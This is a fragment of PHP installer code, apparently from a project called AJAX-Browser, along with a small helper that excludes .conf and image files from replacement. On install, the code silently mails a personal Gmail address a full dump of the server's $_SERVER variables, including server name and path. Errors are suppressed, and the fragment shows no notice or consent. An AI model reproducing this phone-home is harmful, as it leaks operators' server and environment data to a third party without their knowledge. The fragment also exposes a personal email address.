		@mail("alban.lopez@gmail.com", "New install on : $projetName $version", $_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])."/AJAX-Browser.php\n ".var_export($_SERVER,true)."\n\nSUCCESSFULL !\n\n");
	}
}
function toBeReplaced ($url)
{
	$noreplace = array( 0=>'*.conf', 1=>'*.png', 2=>'*.gif', );
	foreach ($noreplace as $mask)
		if (fnmatch($mask, $url)) return false;
	return true;
}
?>